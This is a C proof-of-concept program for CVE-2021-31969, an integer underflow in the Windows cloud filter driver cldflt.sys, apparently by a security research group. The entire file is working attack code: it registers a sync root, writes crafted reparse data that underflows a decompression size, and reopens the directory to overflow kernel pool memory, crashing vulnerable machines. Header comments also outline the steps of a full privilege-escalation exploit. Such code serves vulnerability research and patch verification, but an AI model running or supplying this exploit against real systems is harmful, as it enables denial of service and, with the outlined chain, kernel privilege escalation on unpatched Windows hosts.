/*
 * poc_cve_2021_31969.c — Trigger PoC for CVE-2021-31969
 *
 * Integer underflow in cldflt.sys HsmpRpiDecompressBuffer.
 * Sets cstmDataSize=0 in cloud filter reparse data, causing
 * allocatedSize-12 to underflow. LZNT1 header set to uncompressed
 * mode makes RtlDecompressBuffer act as memcpy with underflowed size.
 *
 * Expected result on vulnerable systems: BSOD (pool corruption).
 * On patched systems: the decompression is rejected.
 *
 * Build: cl /nologo /W4 poc_cve_2021_31969.c /link ole32.lib cldapi.lib
 * Run:   poc_cve_2021_31969.exe [-v]
 *
 * NOTE: Trigger PoC only. Full exploit uses _TERMINATION_PORT spray,
 * WNF+TOKEN relative R/W, BnoIsolation read, SepAppendDefaultDacl write.
 * See: https://starlabs.sg/blog/2023/11-exploitation-of-a-kernel-pool-overflow-from-a-restrictive-chunk-size-cve-2021-31969/
 *
 * Author: OnlyFm252 / STAR Labs SG
 * Date:   2026-07-26
 */

#define POC_CVE    "CVE-2021-31969"
#define POC_BINARY L"cldflt.sys"

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <cfapi.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "cldapi.lib")
#pragma comment(lib, "version.lib")
#pragma comment(lib, "advapi32.lib")

static int g_verbose = 0;

#define IO_REPARSE_TAG_CLOUD  0x9000001A
#define FSCTL_SET_REPARSE_POINT_EX  0x000900D0

#pragma pack(push, 1)
typedef struct _REPARSE_DATA_BUFFER_EX {
    ULONG  Flags;
    ULONG  ExistingReparseTag;
    GUID   ExistingReparseGuid;
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    UCHAR  DataBuffer[1];
} REPARSE_DATA_BUFFER_EX;
#pragma pack(pop)

/*
 * Build malicious reparse data with cstmDataSize=0
 * causing integer underflow in RtlDecompressBuffer size parameter.
 *
 * HSM_REPARSE_DATA layout:
 *   WORD flag    = 0x8000 (compressed flag set)
 *   WORD size    = 0x0000 (triggers underflow: allocatedSize = 0+8 = 8, 8-12 wraps)
 *   BYTE[] data  = LZNT1 payload with uncompressed header
 */
static DWORD BuildPayload(BYTE **ppBuf, DWORD *pSize)
{
    /* Overflow payload: 0x30 bytes of 'B' characters
     * This overflows the 0x20-byte (0x10 usable) pool allocation by 0x2C bytes */
    const DWORD OVERFLOW_DATA_SIZE = 0x30;

    /* LZNT1 chunk header for uncompressed data:
     * Bit 15 = 0 (uncompressed), bits 11:0 = size-1 */
    WORD lznt1Header = (WORD)(OVERFLOW_DATA_SIZE - 1);  /* uncompressed, size=0x30 */

    /* Total reparse data payload: 4 (hsm header) + 2 (lznt1 hdr) + overflow data */
    DWORD payloadSize = 4 + 2 + OVERFLOW_DATA_SIZE;

    /* REPARSE_DATA_BUFFER_EX wrapper */
    DWORD rpExHdrSize = offsetof(REPARSE_DATA_BUFFER_EX, DataBuffer);
    DWORD totalSize = rpExHdrSize + payloadSize;

    BYTE *buf = (BYTE *)calloc(1, totalSize);
    if (!buf) return ERROR_NOT_ENOUGH_MEMORY;

    REPARSE_DATA_BUFFER_EX *rpEx = (REPARSE_DATA_BUFFER_EX *)buf;
    rpEx->Flags = 1;  /* REPARSE_DATA_EX_FLAG_GIVEN_TAG_OR_NONE */
    rpEx->ExistingReparseTag = 0;
    memset(&rpEx->ExistingReparseGuid, 0, sizeof(GUID));
    rpEx->ReparseTag = IO_REPARSE_TAG_CLOUD;
    rpEx->ReparseDataLength = (USHORT)payloadSize;
    rpEx->Reserved = 0;

    BYTE *payload = rpEx->DataBuffer;

    /* HSM_REPARSE_DATA header */
    *(WORD *)(payload + 0) = 0x8000;  /* flag: compressed */
    *(WORD *)(payload + 2) = 0x0000;  /* cstmDataSize = 0 -> triggers underflow */

    /* LZNT1 chunk: marked uncompressed so RtlDecompressBuffer does memcpy */
    *(WORD *)(payload + 4) = lznt1Header;

    /* Overflow content */
    memset(payload + 6, 'B', OVERFLOW_DATA_SIZE);

    *ppBuf = buf;
    *pSize = totalSize;
    return ERROR_SUCCESS;
}

int wmain(int argc, wchar_t *argv[])
{
    HRESULT hr;
    HANDLE hDir;
    DWORD dwRet;
    BYTE *rpBuf = NULL;
    DWORD rpBufSize = 0;

    wprintf(L"=== PoC: %S ===\n", POC_CVE);
    wprintf(L"Binary: %s\n", POC_BINARY);
    wprintf(L"Bug:    Integer underflow in HsmpRpiDecompressBuffer\n");
    wprintf(L"Impact: Paged pool corruption (0x20 alloc, 0x30+ overflow)\n\n");

    if (argc > 1 && wcscmp(argv[1], L"-v") == 0)
        g_verbose = 1;

    /* Step 1: Create sync root directory */
    wchar_t syncRoot[MAX_PATH];
    wchar_t tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    wsprintfW(syncRoot, L"%spoc_31969_sync", tempPath);
    CreateDirectoryW(syncRoot, NULL);
    wprintf(L"[1] Sync root: %s\n", syncRoot);

    /* Step 2: Register sync root */
    CF_SYNC_REGISTRATION cfReg = { sizeof(CF_SYNC_REGISTRATION) };
    cfReg.ProviderName = L"PoC31969";
    cfReg.ProviderVersion = L"1.0";

    CF_SYNC_POLICIES cfPol = { sizeof(CF_SYNC_POLICIES) };
    cfPol.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    cfPol.Population.Primary = CF_POPULATION_POLICY_FULL;
    cfPol.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED;

    CF_CONNECTION_KEY connKey;
    CF_CALLBACK_REGISTRATION cbTable[1] = { CF_CALLBACK_REGISTRATION_END };

    hr = CfRegisterSyncRoot(syncRoot, &cfReg, &cfPol, 0);
    if (FAILED(hr)) {
        wprintf(L"[-] CfRegisterSyncRoot failed: 0x%08X\n", hr);
        return 1;
    }
    hr = CfConnectSyncRoot(syncRoot, cbTable, NULL, CF_CONNECT_FLAG_NONE, &connKey);
    if (FAILED(hr)) {
        wprintf(L"[-] CfConnectSyncRoot failed: 0x%08X\n", hr);
        CfUnregisterSyncRoot(syncRoot);
        return 1;
    }
    wprintf(L"[2] Sync root registered and connected\n");

    /* Step 3: Create target directory */
    wchar_t dirPath[MAX_PATH];
    wsprintfW(dirPath, L"%s\\vuln", syncRoot);
    CreateDirectoryW(dirPath, NULL);

    /* Open to set reparse data */
    hDir = CreateFileW(dirPath, GENERIC_ALL,
                       FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                       NULL, OPEN_EXISTING,
                       FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (hDir == INVALID_HANDLE_VALUE) {
        wprintf(L"[-] Open dir failed: %d\n", GetLastError());
        CfUnregisterSyncRoot(syncRoot);
        return 1;
    }
    wprintf(L"[3] Created trigger directory\n");

    /* Step 4: Build and set reparse data */
    dwRet = BuildPayload(&rpBuf, &rpBufSize);
    if (dwRet != ERROR_SUCCESS) {
        wprintf(L"[-] BuildPayload failed: %d\n", dwRet);
        CloseHandle(hDir);
        CfUnregisterSyncRoot(syncRoot);
        return 1;
    }
    wprintf(L"[4] Built payload: %d bytes (cstmDataSize=0, overflow=0x2C)\n", rpBufSize);

    DWORD bytesReturned = 0;
    BOOL ok = DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT_EX,
                              rpBuf, rpBufSize,
                              NULL, 0, &bytesReturned, NULL);
    CloseHandle(hDir);

    if (!ok) {
        wprintf(L"[-] FSCTL_SET_REPARSE_POINT_EX failed: %d\n", GetLastError());
        free(rpBuf);
        CfUnregisterSyncRoot(syncRoot);
        return 1;
    }
    wprintf(L"[5] Reparse point set\n");
    free(rpBuf);

    /* Step 5: Reopen directory to trigger decompression overflow */
    wprintf(L"\n[!] WARNING: Reopening triggers pool overflow.\n");
    wprintf(L"    Vulnerable systems will BSOD.\n\n");
    wprintf(L"[6] Reopening directory...\n");

    hDir = CreateFileW(dirPath, GENERIC_ALL,
                       FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                       NULL, OPEN_EXISTING,
                       FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (hDir == INVALID_HANDLE_VALUE) {
        wprintf(L"    Reopen failed: %d — may be patched\n", GetLastError());
    } else {
        wprintf(L"    Directory reopened — overflow may have occurred\n");
        CloseHandle(hDir);
    }

    /* Cleanup */
    RemoveDirectoryW(dirPath);
    RemoveDirectoryW(syncRoot);
    CfUnregisterSyncRoot(syncRoot);

    wprintf(L"\n[+] If no BSOD, system is likely patched (KB5003646+).\n");
    return 0;
}
